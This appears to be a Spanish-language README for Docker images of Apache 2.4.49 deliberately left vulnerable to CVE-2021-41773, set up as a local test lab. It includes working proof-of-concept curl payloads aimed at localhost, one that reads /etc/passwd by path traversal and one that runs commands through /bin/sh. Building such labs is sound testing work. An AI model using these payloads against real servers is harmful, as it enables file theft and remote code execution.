Imágenes vulnerables de Docker para la vulnerabilidad de Apache de path traversal CVE-2021-41773

Esta vulnerabilidad solo aplica a la versión 2.4.49 que tiene configuraciones no predeterminadas específicas. En ciertas situaciones, esto puede resultar en lectura de archivos o ejecución de código.

https://twitter.com/ptswarm/status/1445376079548624899

Configuración vulnerable de lectura de archivos

Los contenedores se pueden obtener directamente de Docker Hub usando

docker pull blueteamsteve/cve-2021-41773:no-cgid

y ejecutar usando

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

Los registros de Apache se pueden ver usando lo siguiente, o simplemente excluyendo "-dit" del comando run anterior para transmitir stdio docker logs <container-id>

PoC para lectura de archivos

curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

Configuración vulnerable de RCE

Los contenedores se pueden obtener directamente de Docker Hub usando

docker pull blueteamsteve/cve-2021-41773:with-cgid

y ejecutar usando

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid

Los registros de Apache se pueden ver usando lo siguiente, o simplemente excluyendo "-dit" del comando run anterior para transmitir stdio docker logs <container-id>

PoC para RCE

curl 'localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'

Construir contenedores Docker personalizados

Modifique y construya sus propias versiones usando el archivo dockerfile y las plantillas httpd.conf en los subdirectorios

• Use ./no-cgi para la configuración vulnerable a la lectura de archivos
• Use ./with-cgi para la configuración vulnerable a la ejecución de código